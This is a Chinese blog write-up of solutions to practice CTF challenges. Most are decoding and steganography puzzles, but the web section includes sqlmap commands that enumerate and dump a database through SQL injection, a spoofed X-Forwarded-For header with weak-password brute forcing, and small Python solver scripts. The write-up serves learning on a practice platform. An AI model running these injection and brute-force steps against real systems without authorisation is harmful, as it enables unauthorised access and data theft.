CTF_论剑场_writeup

应平台的要求,所以对题目中的URL都进行了处理,在此也只是记录一个学习的过程。

头像

用16进制编辑器打开搜索flag就找到了,也算不上坑,就是找到的flag还要经过base64解密后再来进行MD5加密

签到

没什么说的,flag已经给了

0和1的故事

这题目我还是看了Writeup之后才知道的,题目的信息给的很明确,0和1,就是二进制编码,然后说空格和0很配,就是空格代表0了,然后一层一层的打开压缩包后发现一个.txt的文件,全选后发现确实有很多空格,但是到这里我就不明白了!

看过writeup之后得知用16进制编辑器打开,才明白了

20是空格表示1,那么09就表示0了,最后转换为16进制字符串就是最后的flag了

web1

分析给的代码就能够得到flag了,很容易,就不多说了

image

http://***.***.**.**:10001/?a

这个人真的很高

png图片,然后题目的信息也很明确,那么修改高度就能够得到一部分的flag,然后还有一部分用16进制编辑器打开后就在文件的尾部,但这不是最终的flag,当然也很明显,栅栏加密,多试几次就能够看到flag了

web9

题目给出的就是:put me a message bugku then you can get the flag

Firefox改包:


得到一段base64加密后的flag,解密一下就有了

Snake

反编译一下jar文件,然后在Game这个类中找到了计算flag的方法:


Python代码:

fake="eobdxpmbhf\\jpgYaiibYagkc{"
flag=""
for i in range(int(len(fake)/2)):
 flag=flag+chr(3^ord(fake[i]))
for f in range(int(len(fake)/2)+1,len(fake)):
 flag=flag+chr(6^ord(fake[f]))
print(flag)

进制转换

明确的说了是进制转换,然后f对应的102,所以用1212一个个试试,返现4进制的时候得到的是102,然后python写个脚本就出来了

s=[1212,1230,1201,1213,1323,1012,1233,1311,1302,1202,1201,1303,1211,301,302,303,1331]
flag=""
for i in s:
  flag+=chr(int(str(i),4))
print(flag)`

流量分析

很简单,直接搜索就出来了:


web2

凭手速是不太现实的,看下源码,那就通过Python来解决了:

import re 
import requests
​
s = requests.Session()  
url = '题目的URL'
r = s.get(url)
r.encoding = 'utf-8' 
print(r.text)
num = re.findall(re.compile(r'<br/>\s+(.*?)</p>'), r.text)[0]  
print(num)
r = s.post(url, data={'result': eval(num)})      
print(r.text) 

Web 5

题目已经很良心的说了注入,sqlmap来一梭子就完事了!

查看库得到:web5

python2 sqlmap.py -u "http://**.**.***.***:10005/?mod=read&id=1" --current-db

查看表得到:flag

python2 sqlmap.py -u "http://**.**.***.***:10005/?mod=read&id=1" -D web5 --table

查看字段得到:flag

python2 sqlmap.py -u "http://**.**.***.***:10005/?mod=read&id=1" -D web5 -T flag --colums

查看flag字段:

python2 sqlmap.py -u "http://**.**.***.***:10005/?mod=read&id=1" -D web5 -T flag -C flag --dump

Web 6

image

随便输入一个用户名,密码后提交,然后就抓包,X-Forwarded-For: 127.0.0.1
image

那么就尝试用字典开始爆破了,直接百度找了个常见的弱口令:


用户名一开始就是用的admin,然后直接爆破密码得到是test123,就得到flag了;


Web 11

打开后是:We han't anything!

<html>
<title>
robots
</title>
<body>
​
We han't anything!
​
</body>
</html>

查看robots.txt

User-agent: *
Disallow: /shell.php

查看shell.php

substr()函数返回字符串的一部分。

import hashlib
s="0e8061"
def count_md5(strings):
    md5=hashlib.md5(strings.encode('utf-8'))
    ret=md5.hexdigest()
    return ret
for i in range(1,1000000):
    key=count_md5(str(i))
    if key[0:6]==s:
        print(str(i))

怀疑人生

有三个文件:一个加密额压缩包两张图片


第二张图片用binwalk分析了下,得到一个txt的文件里面有这些个东西:

Brainfuck编码:https://www.splitbrain.org/services/ook

解码得到:3oD54e

然后看看是不是加密的压缩包的密码,试了下发现不是,但这串字符肯定是有用的,这个时候确实开始怀疑人生,也没看到哪里有提示!


看过Writeup后,才真正明白,我是真的不会

第一部分:

第一个压缩包通过爆破得到密码是:pasword

得到一串base64编码后的字符串,解码后得到:\u66\u6c\u61\u67\u7b\u68\u61\u63\u6b\u65\u72

十六进制转字符串得到:flag{hacker

第二部分:

base58解码为字符串得到:misc

第三部分:

扫码得到:

(通过手机还有草料 没有扫出来,这个网站可以:https://online-barcode-reader.inliteresearch.com/
12580}

神奇的字符串


在这个网站都有的:http://ctf.ssleye.com/

依次通过base64,base91,base58解码后就得到flag了

web13

在数据包的头部发现一个password:



base64解码之后得到一个flag,但是并不是题目的flag,于是在题目中提交flag中的内容:



依旧是密码错误,发现刷新后再次查看password的字符串已经是变化的,并不是固定的,不刷新提交后:

刚开始没有引入会话对象Session,导致一直提交的是错误的,需要保证GET请求和POST请求在同一个会话当中才能够获得最终的flag:

import base64
import requests

def get_flag(url):
    s = requests.Session()
    r = s.get(url)
    text=(r.headers['Password'])
    flag=bytes.decode(base64.b64decode(text.encode('utf-8')))
    flag=flag[5:-1]
    r = s.post(url, data={'password':flag})      
    return r.text

txt500

题目下载下来一共500个txt文件,也没有什么提示,还是套路吧,就是搜索下关键的字符串flag,key等等,但是一共500个文件,不可能一个文件一个文件的去搜索吧!这里可以直接通过UE来搜索多个文件的内容了,或者通过linux,在这里就说下怎么通过UE来搜索的:


也可以点击左下的设置按钮匹配正则表达式什么的!最终找到:


日志审计

还是一样的套路,先搜索一波关键字,在flag里面发现了点东西


image

于是乎找到了黑客攻击的痕迹


套路见的多了一眼就能够看出102、108、97、103对应着flag的ASCII编码
解码下就能够得到flag了

向日葵

一张jpg的图片,用010Editor打开,常规的搜索下flag,key等没有发现什么,移到最后发现了Rar的文件头


修改文件后缀名为.rar打开得到:


可能是英文字母5*5的排列,先试试

得到的就是:juijoldugjtfbty,提示最后一步凯撒密码,于是乎凯撒解密看看:

发现最后这个可能是:ithinkctfiseasx提交不对,改成:ithinkctfiseasy,提交正确!

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 214,588评论 6 496
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,456评论 3 389
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 160,146评论 0 350
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,387评论 1 288
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,481评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,510评论 1 293
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,522评论 3 414
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,296评论 0 270
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,745评论 1 307
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,039评论 2 330
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,202评论 1 343
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,901评论 5 338
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,538评论 3 322
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,165评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,415评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,081评论 2 365
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,085评论 2 352

推荐阅读更多精彩内容

  • 官网 中文版本 好的网站 Content-type: text/htmlBASH Section: User ...
    不排版阅读 4,380评论 0 5
  • Swift1> Swift和OC的区别1.1> Swift没有地址/指针的概念1.2> 泛型1.3> 类型严谨 对...
    cosWriter阅读 11,094评论 1 32
  • 一、Python简介和环境搭建以及pip的安装 4课时实验课主要内容 【Python简介】: Python 是一个...
    _小老虎_阅读 5,738评论 0 10
  • 我想要看完《敦刻尔克》以后可以多久一会儿沉默,想要爸爸不用闲话扰乱我沉浸在严肃沉静之中,就让这电影的营养多渗透吸收...
    我的名字叫流浪阅读 246评论 0 0
  • “我一直以为山是水的故事,云是风的故事,你是我的故事,却不知道,我是不是你的故事。” 茫茫宇宙中,我...
    风雨之后的彩虹阅读 674评论 5 3